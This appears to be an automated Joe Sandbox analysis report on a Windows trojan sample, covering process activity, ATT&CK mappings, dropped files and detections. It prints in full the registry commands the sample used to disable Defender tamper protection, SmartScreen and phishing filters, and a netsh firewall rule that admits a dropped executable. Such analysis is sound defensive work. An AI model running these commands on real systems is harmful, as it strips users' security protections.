Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtection" /t reg_DWORD /d "4" /fJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtectionSource" /t reg_DWORD /d "2" /fJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\UX Configuration" /v "DisablePrivacyMode" /t reg_DWORD /d "1" /fJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t reg_DWORD /d "0" /fJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t reg_DWORD /d "0" /fJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\MRT" /v "DontOfferThroughWUAU" /t reg_DWORD /d 1 /fJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\MRT" /v "DontReportInfectionInformation" /t reg_DWORD /d 1 /fJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Microsoft\RemovalTools\MpGears" /v "SpyNetReportingLocation" /t reg_DWORD /d 0 /fJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v "EnableSmartScreen" /t reg_DWORD /d 0 /fJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\MicrosoftEdge\PhishingFilter" /v "EnabledV9" /t reg_DWORD /d 0 /fJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\MicrosoftEdge\PhishingFilter" /v "PreventOverride" /t reg_DWORD /d 0 /fJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer\PhishingFilter" /v "EnabledV9" /t reg_DWORD /d 0 /fJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer\PhishingFilter" /v "PreventOverride" /t reg_DWORD /d 0 /f
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer" /v "SmartScreenEnabled" /t reg_SZ /d "Off" /f
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add "HKCU\SOFTWARE\Policies\Microsoft\Edge" /v "SmartScreenEnabled" /t reg_DWORD /d 0 /f
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost" /v "SmartScreenEnabled" /t reg_SZ /d "Off" /f
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost" /v "EnableWebContentEvaluation" /t reg_DWORD /d 0 /f
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost" /v "PreventOverride" /t reg_DWORD /d 0 /f
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\AppHost" /v "EnableWebContentEvaluation" /t reg_DWORD /d 0 /f
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\AppHost" /v "PreventOverride" /t reg_DWORD /d 0 /f
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add "HKCU\Software\Microsoft\Windows Security Health\State" /v "AppAndBrowser_EdgeSmartScreenOff" /t REG_DWORD /d 0 /f
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add "HKCU\Software\Microsoft\Windows Security Health\State" /v "AppAndBrowser_StoreAppsSmartScreenOff" /t reg_DWORD /d 0 /f
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add "HKCU\Software\Microsoft\Windows Security Health\State" /v "AccountProtection_MicrosoftAccount_Disconnected" /t REG_DWORD /d 1 /f
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "RandomizeScheduleTaskTimes" /t reg_DWORD /d "0" /f
Source: C:\Windows\SysWOW64\cmd.exeProcess created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exeProcess created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exeProcess created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exeProcess created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exeProcess created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exeProcess created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exeProcess created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exeProcess created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exeProcess created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exeProcess created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exeProcess created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exeProcess created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exeProcess created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exeProcess created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exeProcess created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exeProcess created: unknown unknown
Source: C:\6231e956ee22143d5ce90e\Setup.exeCode function: 7_2_6CBB3657 GetSecurityDescriptorDacl,_malloc,InitializeSecurityDescriptor,_free,GetAclInformation,_malloc,_memcpy_s,SetSecurityDescriptorDacl,_free,_free,7_2_6CBB3657
Source: C:\6231e956ee22143d5ce90e\Setup.exeCode function: 7_2_6CB8DF27 AllocateAndInitializeSid,7_2_6CB8DF27
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeCode function: 13_2_00007FF7106FBD40 cpuid 13_2_00007FF7106FBD40
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeCode function: TranslateName,TranslateName,GetACP,IsValidCodePage,GetLocaleInfoW,13_2_00007FF7106F6C40
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeCode function: GetLocaleInfoW,13_2_00007FF7106F7340
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeCode function: GetLocaleInfoW,GetLocaleInfoW,GetACP,13_2_00007FF7106F7498
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeCode function: GetLocaleInfoW,13_2_00007FF7106F7548
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeCode function: EnumSystemLocalesW,GetUserDefaultLCID,ProcessCodePage,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,13_2_00007FF7106F7674
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeCode function: EnumSystemLocalesW,13_2_00007FF7106F791C
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeCode function: try_get_function,GetLocaleInfoW,13_2_00007FF7106F7EB0
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeCode function: EnumSystemLocalesW,13_2_00007FF7106F6F8C
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeCode function: EnumSystemLocalesW,13_2_00007FF7106F705C
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeCode function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,13_2_00007FF7106F70F4
Source: C:\Windows\SysWOW64\netsh.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\cmd.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\cmd.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\cmd.exeQueries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeCode function: 6_2_00AD84C7 GetLocalTime,swprintf,6_2_00AD84C7
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exeCode function: 13_2_00007FF7106BD304 GetSystemTimeAsFileTime,GetCurrentThreadId,GetUserNameExW,GetLastError,GetUserNameExW,GetLastError,LeaveCriticalSection,LeaveCriticalSection,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,13_2_00007FF7106BD304
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeCode function: 6_2_00AD8E9C GetTimeZoneInformation,GetSystemTime,SystemTimeToTzSpecificLocalTime,6_2_00AD8E9C
Source: C:\Users\user\Desktop\Auu2j0pT0B.exeCode function: 0_2_00403552 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrlenW,wsprintfW,GetFileAttributesW,DeleteFileW,SetCurrentDirectoryW,CopyFileW,ExitProcess,CoUninitialize,ExitProcess,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,0_2_00403552
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

barindex
Disable Microsoft Windows Malicious Software Removal Tool Heartbeat Telemetry
Source: C:\Windows\SysWOW64\reg.exeRegistry value created: SpyNetReportingLocation 0
Disables Windows Defender Tamper protection
Source: C:\Windows\SysWOW64\reg.exeRegistry value created: TamperProtectionSource 2
Disables the Smart Screen filter
Source: C:\Windows\SysWOW64\reg.exeRegistry key created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Explorer SmartScreenEnabled Off
Disables the phising filter of Microsoft Edge
Source: C:\Windows\SysWOW64\reg.exeRegistry key created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\MicrosoftEdge\PhishingFilter PreventOverride
Modifies the windows firewall
Source: C:\Users\user\Desktop\Auu2j0pT0B.exeProcess created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name=acxxtzcogvgr dir=in action=allow program="C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\acxxtzcogvgr.exe" enable=yes profile=public,private
Uses netsh to modify the Windows network and firewall settings
Source: C:\Users\user\Desktop\Auu2j0pT0B.exeProcess created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name=acxxtzcogvgr dir=in action=allow program="C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\acxxtzcogvgr.exe" enable=yes profile=public,private

Mitre Att&ck Matrix

ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
Gather Victim Identity Information1
Scripting		Valid Accounts3
Native API		1
Scripting		1
DLL Side-Loading		611
Disable or Modify Tools		OS Credential Dumping2
System Time Discovery		Remote Services1
Archive Collected Data		1
Ingress Tool Transfer		Exfiltration Over Other Network Medium1
System Shutdown/Reboot
CredentialsDomainsDefault Accounts13
Command and Scripting Interpreter		1
DLL Side-Loading		1
Access Token Manipulation		1
Deobfuscate/Decode Files or Information		LSASS Memory1
Account Discovery		Remote Desktop Protocol2
Browser Session Hijacking		2
Encrypted Channel		Exfiltration Over BluetoothNetwork Denial of Service
Email AddressesDNS ServerDomain Accounts2
Service Execution		11
Windows Service		11
Windows Service		21
Obfuscated Files or Information		Security Account Manager1
System Service Discovery		SMB/Windows Admin Shares1
Clipboard Data		SteganographyAutomated ExfiltrationData Encrypted for Impact
Employee NamesVirtual Private ServerLocal AccountsCronLogin Hook11
Process Injection		1
Software Packing		NTDS3
File and Directory Discovery		Distributed Component Object ModelInput CaptureProtocol ImpersonationTraffic DuplicationData Destruction
Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script1
Timestomp		LSA Secrets37
System Information Discovery		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts1
DLL Side-Loading		Cached Domain Credentials21
Security Software Discovery		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items1
Modify Registry		DCSync1
Virtualization/Sandbox Evasion		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job1
Virtualization/Sandbox Evasion		Proc Filesystem2
Process Discovery		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt1
Access Token Manipulation		/etc/passwd and /etc/shadow1
System Owner/User Discovery		Direct Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement
IP AddressesCompromise InfrastructureSupply Chain CompromisePowerShellCronCron11
Process Injection		Network SniffingNetwork Service DiscoveryShared WebrootLocal Data StagingFile Transfer ProtocolsExfiltration Over Asymmetric Encrypted Non-C2 ProtocolExternal Defacement

Behavior Graph

Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 1568354 Sample: Auu2j0pT0B.exe Startdate: 04/12/2024 Architecture: WINDOWS Score: 76 64 Multi AV Scanner detection for submitted file 2->64 7 Auu2j0pT0B.exe 2 32 2->7         started        process3 file4 56 C:\Users\user\AppData\...\acxxtzcogvgr.exe, PE32 7->56 dropped 58 C:\Users\user\...\win_version_csharp.exe, PE32 7->58 dropped 60 C:\Users\user\AppData\Local\...\nsExec.dll, PE32 7->60 dropped 62 5 other files (none is malicious) 7->62 dropped 74 Uses netsh to modify the Windows network and firewall settings 7->74 76 Modifies the windows firewall 7->76 11 cmd.exe 1 7->11         started        14 cmd.exe 7->14         started        16 dotNetFx40_Full_setup.exe 139 7->16         started        19 5 other processes 7->19 signatures5 process6 file7 78 Uses cmd line tools excessively to alter registry or file data 11->78 21 reg.exe 11->21         started        24 reg.exe 11->24         started        26 reg.exe 11->26         started        34 18 other processes 11->34 28 reg.exe 14->28         started        36 5 other processes 14->36 40 C:\6231e956ee22143d5ce90e\sqmapi.dll, PE32 16->40 dropped 42 C:\6231e956ee22143d5ce90e\SetupUtility.exe, PE32 16->42 dropped 44 C:\6231e956ee22143d5ce90e\SetupUi.dll, PE32 16->44 dropped 52 27 other files (none is malicious) 16->52 dropped 30 Setup.exe 2 4 16->30         started        46 C:\02160d95efb0ac51c5e073\sqmapi.dll, PE32 19->46 dropped 48 C:\02160d95efb0ac51c5e073\SetupUtility.exe, PE32 19->48 dropped 50 C:\02160d95efb0ac51c5e073\SetupUi.dll, PE32 19->50 dropped 54 26 other files (none is malicious) 19->54 dropped 32 Setup.exe 4 19->32         started        38 12 other processes 19->38 signatures8 process9 signatures10 66 Disables Windows Defender Tamper protection 21->66 68 Disable Microsoft Windows Malicious Software Removal Tool Heartbeat Telemetry 24->68 70 Disables the phising filter of Microsoft Edge 26->70 72 Disables the Smart Screen filter 28->72

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.


windows-stand

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

SourceDetectionScannerLabelLink
Auu2j0pT0B.exe45%ReversingLabsWin32.Trojan.Nemesis

Dropped Files

SourceDetectionScannerLabelLink
C:\02160d95efb0ac51c5e073\1025\SetupResources.dll0%ReversingLabs
C:\02160d95efb0ac51c5e073\1028\SetupResources.dll0%ReversingLabs
C:\02160d95efb0ac51c5e073\1029\SetupResources.dll0%ReversingLabs
C:\02160d95efb0ac51c5e073\1030\SetupResources.dll0%ReversingLabs
C:\02160d95efb0ac51c5e073\1031\SetupResources.dll0%ReversingLabs
C:\02160d95efb0ac51c5e073\1032\SetupResources.dll0%ReversingLabs
C:\02160d95efb0ac51c5e073\1033\SetupResources.dll0%ReversingLabs
C:\02160d95efb0ac51c5e073\1035\SetupResources.dll0%ReversingLabs
C:\02160d95efb0ac51c5e073\1036\SetupResources.dll0%ReversingLabs
C:\02160d95efb0ac51c5e073\1037\SetupResources.dll0%ReversingLabs
C:\02160d95efb0ac51c5e073\1038\SetupResources.dll0%ReversingLabs
C:\02160d95efb0ac51c5e073\1040\SetupResources.dll0%ReversingLabs
C:\02160d95efb0ac51c5e073\1041\SetupResources.dll0%ReversingLabs
C:\02160d95efb0ac51c5e073\1042\SetupResources.dll0%ReversingLabs
C:\02160d95efb0ac51c5e073\1043\SetupResources.dll0%ReversingLabs
C:\02160d95efb0ac51c5e073\1044\SetupResources.dll0%ReversingLabs
C:\02160d95efb0ac51c5e073\1045\SetupResources.dll0%ReversingLabs
C:\02160d95efb0ac51c5e073\1046\SetupResources.dll0%ReversingLabs
C:\02160d95efb0ac51c5e073\1049\SetupResources.dll0%ReversingLabs
C:\02160d95efb0ac51c5e073\1053\SetupResources.dll0%ReversingLabs
C:\02160d95efb0ac51c5e073\1055\SetupResources.dll0%ReversingLabs
C:\02160d95efb0ac51c5e073\2052\SetupResources.dll0%ReversingLabs
C:\02160d95efb0ac51c5e073\2070\SetupResources.dll0%ReversingLabs
C:\02160d95efb0ac51c5e073\3082\SetupResources.dll0%ReversingLabs
C:\02160d95efb0ac51c5e073\Setup.exe0%ReversingLabs
C:\02160d95efb0ac51c5e073\SetupEngine.dll0%ReversingLabs
C:\02160d95efb0ac51c5e073\SetupUi.dll0%ReversingLabs
C:\02160d95efb0ac51c5e073\SetupUtility.exe0%ReversingLabs
C:\02160d95efb0ac51c5e073\sqmapi.dll0%ReversingLabs
C:\6231e956ee22143d5ce90e\1025\SetupResources.dll0%ReversingLabs
C:\6231e956ee22143d5ce90e\1028\SetupResources.dll0%ReversingLabs
C:\6231e956ee22143d5ce90e\1029\SetupResources.dll0%ReversingLabs
C:\6231e956ee22143d5ce90e\1030\SetupResources.dll0%ReversingLabs
C:\6231e956ee22143d5ce90e\1031\SetupResources.dll0%ReversingLabs
C:\6231e956ee22143d5ce90e\1032\SetupResources.dll0%ReversingLabs
C:\6231e956ee22143d5ce90e\1033\SetupResources.dll0%ReversingLabs
C:\6231e956ee22143d5ce90e\1035\SetupResources.dll0%ReversingLabs
C:\6231e956ee22143d5ce90e\1036\SetupResources.dll0%ReversingLabs
C:\6231e956ee22143d5ce90e\1037\SetupResources.dll0%ReversingLabs
C:\6231e956ee22143d5ce90e\1038\SetupResources.dll0%ReversingLabs
C:\6231e956ee22143d5ce90e\1040\SetupResources.dll0%ReversingLabs
C:\6231e956ee22143d5ce90e\1041\SetupResources.dll0%ReversingLabs
C:\6231e956ee22143d5ce90e\1042\SetupResources.dll0%ReversingLabs
C:\6231e956ee22143d5ce90e\1043\SetupResources.dll0%ReversingLabs
C:\6231e956ee22143d5ce90e\1044\SetupResources.dll0%ReversingLabs
C:\6231e956ee22143d5ce90e\1045\SetupResources.dll0%ReversingLabs
C:\6231e956ee22143d5ce90e\1046\SetupResources.dll0%ReversingLabs
C:\6231e956ee22143d5ce90e\1049\SetupResources.dll0%ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

SourceDetectionScannerLabelLink
http://www.imagerymacdermott.click0%Avira URL Cloudsafe
http://go.micro0%Avira URL Cloudsafe
https://helgeklein.com/setacl/documentation/command-line-version-setacl-exe0%Avira URL Cloudsafe
https://helgeklein.com0%Avira URL Cloudsafe
https://helgeklein.com.0%Avira URL Cloudsafe

Domains and IPs

Contacted Domains

⊘No contacted domains info

URLs from Memory and Binaries

NameSourceMaliciousAntivirus DetectionReputation
http://go.microsoft.cSetup.exe, 00000007.00000003.2083840976.0000000003760000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000007.00000003.2086919711.0000000003790000.00000004.00000020.00020000.00000000.sdmpfalse
    		high
    http://go.microSetup.exe, 00000007.00000003.2063591978.00000000036E0000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000007.00000003.2094123478.00000000038D0000.00000004.00000020.00020000.00000000.sdmpfalse
    • Avira URL Cloud: safe
    		unknown
    http://nsis.sf.net/NSIS_ErrorErrorAuu2j0pT0B.exefalse
      		high
      http://go.micrSetup.exe, 00000009.00000003.2166723650.0000000003270000.00000004.00000020.00020000.00000000.sdmpfalse
        		high
        http://go.microsoSetup.exe, 00000007.00000003.2090072354.0000000001470000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000007.00000003.2096221080.00000000037B0000.00000004.00000020.00020000.00000000.sdmpfalse
          		high
          http://www.imagerymacdermott.clickAuu2j0pT0B.exe, 00000000.00000002.2396675849.000000000040A000.00000004.00000001.01000000.00000003.sdmpfalse
          • Avira URL Cloud: safe
          		unknown
          https://helgeklein.com.SetACL64.exe, SetACL64.exe, 0000000D.00000002.2223566040.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 0000000D.00000000.2221181476.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000010.00000000.2226030491.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000010.00000002.2228718277.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000011.00000002.2230297262.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000011.00000000.2229272189.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000012.00000000.2230845676.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000012.00000002.2231860938.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000013.00000000.2232291589.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000013.00000002.2233290278.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000014.00000002.2234949635.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000014.00000000.2233742600.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000015.00000002.2236486391.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000015.00000000.2235471704.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000016.00000002.2238173796.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000016.00000000.2236972478.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe.0.drfalse
          • Avira URL Cloud: safe
          		unknown
          http://go.micSetup.exe, 00000007.00000003.2063591978.00000000036EA000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000007.00000003.2094123478.00000000038DA000.00000004.00000020.00020000.00000000.sdmpfalse
            		high
            https://helgeklein.comSetACL64.exe, SetACL64.exe, 0000000D.00000002.2223566040.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 0000000D.00000000.2221181476.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000010.00000000.2226030491.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000010.00000002.2228718277.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000011.00000002.2230297262.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000011.00000000.2229272189.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000012.00000000.2230845676.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000012.00000002.2231860938.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000013.00000000.2232291589.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000013.00000002.2233290278.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000014.00000002.2234949635.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000014.00000000.2233742600.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000015.00000002.2236486391.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000015.00000000.2235471704.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000016.00000002.2238173796.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000016.00000000.2236972478.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe.0.drfalse
            • Avira URL Cloud: safe
            		unknown
            https://helgeklein.com/setacl/documentation/command-line-version-setacl-exeSetACL64.exe, SetACL64.exe, 0000000D.00000002.2223566040.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 0000000D.00000000.2221181476.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000010.00000000.2226030491.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000010.00000002.2228718277.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000011.00000002.2230297262.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000011.00000000.2229272189.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000012.00000000.2230845676.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000012.00000002.2231860938.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000013.00000000.2232291589.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000013.00000002.2233290278.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000014.00000002.2234949635.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000014.00000000.2233742600.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000015.00000002.2236486391.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000015.00000000.2235471704.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000016.00000002.2238173796.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe, 00000016.00000000.2236972478.00007FF71070B000.00000002.00000001.01000000.00000010.sdmp, SetACL64.exe.0.drfalse
            • Avira URL Cloud: safe
            		unknown

            World Map of Contacted IPs

            ⊘No contacted IP infos

            General Information

            Joe Sandbox version:41.0.0 Charoite
            Analysis ID:1568354
            Start date and time:2024-12-04 15:22:13 +01:00
            Joe Sandbox product:CloudBasic
            Overall analysis duration:0h 10m 15s
            Hypervisor based Inspection enabled:false
            Report type:full
            Cookbook file name:default.jbs
            Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
            Number of analysed new started processes analysed:53
